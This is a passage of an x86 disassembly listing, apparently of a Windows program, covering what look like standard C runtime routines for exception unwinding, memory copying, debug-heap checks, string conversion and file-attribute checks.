jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F795: ; CODE XREF: sub_41F770+12j push 1 mov eax, [ebp+arg_4] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] push edx push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_0] push eax call sub_429EA0 add esp, 20h mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jnz short loc_41F7DB mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_41F520 loc_41F7DB: ; CODE XREF: sub_41F770+5Cj mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- mov eax, 1 loc_41F7EC: ; CODE XREF: sub_41F770+23j pop edi pop esi pop ebx pop ebp retn sub_41F770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F800 proc near ; CODE XREF: sub_429F90+135p ; sub_42A230+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax+10h] mov esi, [eax+0Ch] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] test ecx, ecx mov edi, esi mov ebx, esi jl short loc_41F859 loc_41F81E: ; CODE XREF: sub_41F800+54j cmp esi, 0FFFFFFFFh jnz short loc_41F828 call sub_42AC00 loc_41F828: ; CODE XREF: sub_41F800+21j mov eax, [ebp+var_4] dec esi mov ecx, [ebp+arg_8] lea edx, [esi+esi*4] lea eax, [eax+edx*4] cmp [eax+4], ecx jge short loc_41F83F cmp ecx, [eax+8] jle short loc_41F844 loc_41F83F: ; CODE XREF: sub_41F800+38j cmp esi, 0FFFFFFFFh jnz short loc_41F84F loc_41F844: ; CODE XREF: sub_41F800+3Dj mov eax, [ebp+arg_4] mov edi, ebx dec eax mov ebx, esi mov [ebp+arg_4], eax loc_41F84F: ; CODE XREF: sub_41F800+42j mov eax, [ebp+arg_4] test eax, eax jge short loc_41F81E mov eax, [ebp+arg_0] loc_41F859: ; CODE XREF: sub_41F800+1Cj mov ecx, [ebp+arg_C] mov edx, [ebp+arg_10] inc esi mov [ecx], esi mov [edx], edi cmp edi, [eax+0Ch] ja short loc_41F86D cmp esi, edi jbe short loc_41F872 loc_41F86D: ; CODE XREF: sub_41F800+67j call sub_42AC00 loc_41F872: ; CODE XREF: sub_41F800+6Bj mov ecx, [ebp+var_4] lea eax, [esi+esi*4] pop edi pop esi lea eax, [ecx+eax*4] pop ebx mov esp, ebp pop ebp retn sub_41F800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F890 proc near ; CODE XREF: sub_42CA04+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41F8A8 push [ebp+arg_0] call sub_437A7C ; RtlUnwind loc_41F8A8: ; DATA XREF: sub_41F890+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F890 endp ; =============== S U B R O U T I N E ======================================= sub_41F8B0 proc near ; DATA XREF: sub_41F8D2+Ao ; sub_41F93A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41F8D1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41F8D1: ; CODE XREF: sub_41F8B0+10j retn sub_41F8B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F8D2 proc near ; CODE XREF: sub_42A600+C2p ; sub_42CA04+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41F8B0 push large dword ptr fs:0 mov large fs:0, esp loc_41F8EF: ; CODE XREF: sub_41F8D2:loc_41F92Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41F92C cmp esi, [esp+1Ch+arg_4] jz short loc_41F92C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41F92A push 101h mov eax, [ebx+esi*4+8] call sub_41F966 call dword ptr [ebx+esi*4+8] loc_41F92A: ; CODE XREF: sub_41F8D2+44j jmp short loc_41F8EF ; --------------------------------------------------------------------------- loc_41F92C: ; CODE XREF: sub_41F8D2+2Aj ; sub_41F8D2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41F8D2 endp ; =============== S U B R O U T I N E ======================================= sub_41F93A proc near ; CODE XREF: sub_42A6DD+4Bp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41F8B0 jnz short locret_41F95C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41F95C mov eax, 1 locret_41F95C: ; CODE XREF: sub_41F93A+10j ; sub_41F93A+1Bj retn sub_41F93A endp ; =============== S U B R O U T I N E ======================================= sub_41F95D proc near ; CODE XREF: sub_42AB00+1Ep ; sub_42AB00+40p push ebx push ecx mov ebx, offset dword_44FD0C jmp short loc_41F970 sub_41F95D endp ; =============== S U B R O U T I N E ======================================= sub_41F966 proc near ; CODE XREF: sub_41F8D2+4Fp ; sub_42CA04+78p push ebx push ecx mov ebx, offset dword_44FD0C mov ecx, [ebp+8] loc_41F970: ; CODE XREF: sub_41F95D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41F966 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F980 proc near ; CODE XREF: sub_40D017+5p ; sub_40D18E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41F980 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9A0 proc near ; CODE XREF: sub_40D894+Cp ; sub_422240+581p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41F9C0 cmp edi, eax jb loc_41FB38 loc_41F9C0: ; CODE XREF: sub_41F9A0+16j test edi, 3 jnz short loc_41F9DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41F9FC rep movsd jmp ds:off_41FAE8[edx*4] ; --------------------------------------------------------------------------- loc_41F9DC: ; CODE XREF: sub_41F9A0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41F9F4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41F9FC+4[eax*4] ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F9A0+46j jmp dword ptr ds:loc_41FAF8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41F9FC: ; CODE XREF: sub_41F9A0+31j ; sub_41F9A0+8Ej ... jmp ds:off_41FA7C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41FA10 dd offset loc_41FA3C dd offset loc_41FA60 ; --------------------------------------------------------------------------- loc_41FA10: ; DATA XREF: sub_41F9A0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41F9FC rep movsd jmp ds:off_41FAE8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41FA3C: ; DATA XREF: sub_41F9A0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41F9FC rep movsd jmp ds:off_41FAE8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41FA60: ; DATA XREF: sub_41F9A0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41F9FC rep movsd jmp ds:off_41FAE8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41FA7C dd offset loc_41FADF ; DATA XREF: sub_41F9A0:loc_41F9FCr dd offset loc_41FACC dd offset loc_41FAC4 dd offset loc_41FABC dd offset loc_41FAB4 dd offset loc_41FAAC dd offset loc_41FAA4 dd offset loc_41FA9C ; --------------------------------------------------------------------------- loc_41FA9C: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41FAA4: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41FAAC: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41FAB4: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41FABC: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41FAC4: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41FACC: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41FADF: ; CODE XREF: sub_41F9A0:loc_41F9FCj ; DATA XREF: sub_41F9A0:off_41FA7Co jmp ds:off_41FAE8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41FAE8 dd offset loc_41FAF8 ; DATA XREF: sub_41F9A0+35r ; sub_41F9A0+92r ... dd offset loc_41FB00 dd offset loc_41FB0C dd offset loc_41FB20 ; --------------------------------------------------------------------------- loc_41FAF8: ; CODE XREF: sub_41F9A0+35j ; sub_41F9A0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41FB00: ; CODE XREF: sub_41F9A0+35j ; sub_41F9A0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FB0C: ; CODE XREF: sub_41F9A0+35j ; sub_41F9A0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41FB20: ; CODE XREF: sub_41F9A0+35j ; sub_41F9A0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FB38: ; CODE XREF: sub_41F9A0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41FB6C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41FB60 std rep movsd cld jmp ds:off_41FC80[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41FB60: ; CODE XREF: sub_41F9A0+1B1j ; sub_41F9A0+208j ... neg ecx jmp ds:off_41FC30[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41FB6C: ; CODE XREF: sub_41F9A0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41FB84 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41FB84+4[eax*4] ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F9A0+1D6j ; DATA XREF: sub_41F9A0+1DDr jmp ds:off_41FC80[ecx*4] ; --------------------------------------------------------------------------- align 4 cwde sti inc ecx add [eax-1FFFBE05h], bh sti inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41FB60 std rep movsd cld jmp ds:off_41FC80[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41FB60 std rep movsd cld jmp ds:off_41FC80[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41FB60 std rep movsd cld jmp ds:off_41FC80[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41FC34 dd offset loc_41FC3C dd offset loc_41FC44 dd offset loc_41FC4C dd offset loc_41FC54 dd offset loc_41FC5C dd offset loc_41FC64 off_41FC30 dd offset loc_41FC77 ; DATA XREF: sub_41F9A0+1C2r ; --------------------------------------------------------------------------- loc_41FC34: ; DATA XREF: sub_41F9A0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41FC3C: ; DATA XREF: sub_41F9A0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41FC44: ; DATA XREF: sub_41F9A0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41FC4C: ; DATA XREF: sub_41F9A0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41FC54: ; DATA XREF: sub_41F9A0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41FC5C: ; DATA XREF: sub_41F9A0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41FC64: ; DATA XREF: sub_41F9A0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41FC77: ; CODE XREF: sub_41F9A0+1C2j ; DATA XREF: sub_41F9A0:off_41FC30o jmp ds:off_41FC80[edx*4] ; --------------------------------------------------------------------------- align 10h off_41FC80 dd offset loc_41FC90 ; DATA XREF: sub_41F9A0+1B7r ; sub_41F9A0:loc_41FB84r ... dd offset loc_41FC98 dd offset loc_41FCA8 dd offset loc_41FCBC ; --------------------------------------------------------------------------- loc_41FC90: ; CODE XREF: sub_41F9A0+1B7j ; sub_41F9A0:loc_41FB84j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FC98: ; CODE XREF: sub_41F9A0+1B7j ; sub_41F9A0:loc_41FB84j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FCA8: ; CODE XREF: sub_41F9A0+1B7j ; sub_41F9A0:loc_41FB84j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41FCBC: ; CODE XREF: sub_41F9A0+1B7j ; sub_41F9A0:loc_41FB84j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41F9A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FCE0 proc near ; CODE XREF: sub_40D98C+4p ; seg000:0040E688p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41FCF2 jmp loc_41FD7A ; --------------------------------------------------------------------------- loc_41FCF2: ; CODE XREF: sub_41FCE0+Bj push 9 call sub_421A80 add esp, 4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_4], eax loc_41FD05: ; CODE XREF: sub_41FCE0+7Bj mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jz short loc_41FD57 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 1 jz short loc_41FD57 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jz short loc_41FD57 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 3 jz short loc_41FD57 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 2Fh push offset dword_439CF0 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41FD57 int 3 ; Trap to Debugger loc_41FD57: ; CODE XREF: sub_41FCE0+34j ; sub_41FCE0+3Dj ... xor ecx, ecx test ecx, ecx jnz short loc_41FD05 mov edx, [ebp+var_4] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B8F0 add esp, 8 push 9 call sub_421B20 add esp, 4 loc_41FD7A: ; CODE XREF: sub_41FCE0+Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41FCE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD90 proc near ; CODE XREF: sub_40D9EC+Bp ; seg000:0040E4EBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_41AE90 add esp, 8 pop ebp retn sub_41FD90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB0 proc near ; CODE XREF: sub_41FE70+7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_41DB40 push 2 mov eax, ds:dword_4F0090 push eax call sub_41BD30 add esp, 8 mov ecx, ds:dword_4F008C sub ecx, ds:dword_4F0090 add ecx, 4 cmp eax, ecx jnb short loc_41FE3D push 68h push offset dword_439CFC push 2 push 2 mov edx, ds:dword_4F0090 push edx call sub_41BD30 add esp, 8 add eax, 10h push eax mov eax, ds:dword_4F0090 push eax call sub_41B2F0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41FE1A call sub_41DB50 xor eax, eax jmp short loc_41FE5F ; --------------------------------------------------------------------------- loc_41FE1A: ; CODE XREF: sub_41FDB0+5Fj mov ecx, ds:dword_4F008C sub ecx, ds:dword_4F0090 sar ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov ds:dword_4F008C, eax mov ecx, [ebp+var_4] mov ds:dword_4F0090, ecx loc_41FE3D: ; CODE XREF: sub_41FDB0+2Aj mov edx, ds:dword_4F008C mov eax, [ebp+arg_0] mov [edx], eax mov ecx, ds:dword_4F008C add ecx, 4 mov ds:dword_4F008C, ecx call sub_41DB50 mov eax, [ebp+arg_0] loc_41FE5F: ; CODE XREF: sub_41FDB0+68j mov esp, ebp pop ebp retn sub_41FDB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE70 proc near ; CODE XREF: seg000:0040D416p ; sub_4377C0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41FDB0 add esp, 4 neg eax sbb eax, eax neg eax dec eax pop ebp retn sub_41FE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE90 proc near ; DATA XREF: seg002:0043C020o push ebp mov ebp, esp push 0B6h push offset dword_439CFC push 2 push 80h call sub_41AE60 add esp, 10h mov ds:dword_4F0090, eax cmp ds:dword_4F0090, 0 jnz short loc_41FEC4 push 18h call sub_420CA0 add esp, 4 loc_41FEC4: ; CODE XREF: sub_41FE90+28j mov eax, ds:dword_4F0090 mov dword ptr [eax], 0 mov ecx, ds:dword_4F0090 mov ds:dword_4F008C, ecx pop ebp retn sub_41FE90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEE0 proc near ; CODE XREF: sub_40DA10+77p ; sub_40F19D+151p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4EED14 call ds:dword_4F1428 ; InterlockedIncrement cmp ds:dword_4EED10, 0 jz short loc_41FF18 push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement push 13h call sub_421A80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41FF1F ; --------------------------------------------------------------------------- loc_41FF18: ; CODE XREF: sub_41FEE0+18j mov [ebp+var_4], 0 loc_41FF1F: ; CODE XREF: sub_41FEE0+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41FF60 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_41FF48 push 13h call sub_421B20 add esp, 4 jmp short loc_41FF53 ; --------------------------------------------------------------------------- loc_41FF48: ; CODE XREF: sub_41FEE0+5Aj push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement loc_41FF53: ; CODE XREF: sub_41FEE0+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41FEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF60 proc near ; CODE XREF: sub_41FEE0+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_41FF83 cmp [ebp+arg_8], 0 jnz short loc_41FF83 xor eax, eax jmp loc_420144 ; --------------------------------------------------------------------------- loc_41FF83: ; CODE XREF: sub_41FF60+14j ; sub_41FF60+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_41FFA7 push offset dword_439D14 push 0 push 55h push offset dword_439D08 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41FFA7 int 3 ; Trap to Debugger loc_41FFA7: ; CODE XREF: sub_41FF60+27j ; sub_41FF60+44j xor eax, eax test eax, eax jnz short loc_41FF83 cmp [ebp+arg_0], 0 jz loc_4200F6 cmp ds:dword_4EEA70, 0 jnz short loc_420009 loc_41FFC0: ; CODE XREF: sub_41FF60+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_420001 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_41FFED mov eax, [ebp+var_4] jmp loc_420144 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FF60+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_41FFC0 ; --------------------------------------------------------------------------- loc_420001: ; CODE XREF: sub_41FF60+66j mov eax, [ebp+var_4] jmp loc_420144 ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF60+5Ej mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, ds:dword_4EEA80 push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_420039 mov eax, [ebp+var_4] sub eax, 1 jmp loc_420144 ; --------------------------------------------------------------------------- loc_420039: ; CODE XREF: sub_41FF60+CCj call ds:dword_4F1310 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_420057 call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_420144 ; --------------------------------------------------------------------------- loc_420057: ; CODE XREF: sub_41FF60+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_42006E ; --------------------------------------------------------------------------- loc_420065: ; CODE XREF: sub_41FF60:loc_4200AFj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42006E: ; CODE XREF: sub_41FF60+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_4200B1 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_4200B1 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_4200AF mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4200AF: ; CODE XREF: sub_41FF60+144j jmp short loc_420065 ; --------------------------------------------------------------------------- loc_4200B1: ; CODE XREF: sub_41FF60+11Cj ; sub_41FF60+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, ds:dword_4EEA80 push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4200F1 call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_420144 ; --------------------------------------------------------------------------- loc_4200F1: ; CODE XREF: sub_41FF60+17Fj mov eax, [ebp+var_4] jmp short loc_420144 ; --------------------------------------------------------------------------- loc_4200F6: ; CODE XREF: sub_41FF60+51j cmp ds:dword_4EEA70, 0 jnz short loc_42010D mov ecx, [ebp+arg_4] push ecx call sub_41AC70 add esp, 4 jmp short loc_420144 ; --------------------------------------------------------------------------- loc_42010D: ; CODE XREF: sub_41FF60+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, ds:dword_4EEA80 push eax call ds:dword_4F1370 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42013E call sub_4267E0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_420144 ; --------------------------------------------------------------------------- loc_42013E: ; CODE XREF: sub_41FF60+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_420144: ; CODE XREF: sub_41FF60+1Ej ; sub_41FF60+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41FF60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420150 proc near ; CODE XREF: seg000:0040E075p ; sub_416995+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4F1334 ; GetFileAttributesA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42017B call ds:dword_4F1310 ; RtlGetLastWin32Error push eax call sub_426740 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4201AC ; --------------------------------------------------------------------------- loc_42017B: ; CODE XREF: sub_420150+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_4201AA mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_4201AA call sub_4267E0 mov dword ptr [eax], 0Dh call sub_4267F0 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_4201AC ; --------------------------------------------------------------------------- loc_4201AA: ; CODE XREF: sub_420150+33j ; sub_420150+3Dj xor eax, eax loc_4201AC: ; CODE XREF: sub_420150+29j ; sub_420150+58j mov esp, ebp pop ebp retn sub_420150 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201B0 proc near ; CODE XREF: sub_40F19D+2B6p ; sub_40F19D+316p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4201BA: ; CODE XREF: sub_4201B0+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_4201D1 jmp short loc_4201BA ; --------------------------------------------------------------------------- loc_4201D1: ; CODE XREF: sub_4201B0+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_4201B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201E0 proc near ; CODE XREF: 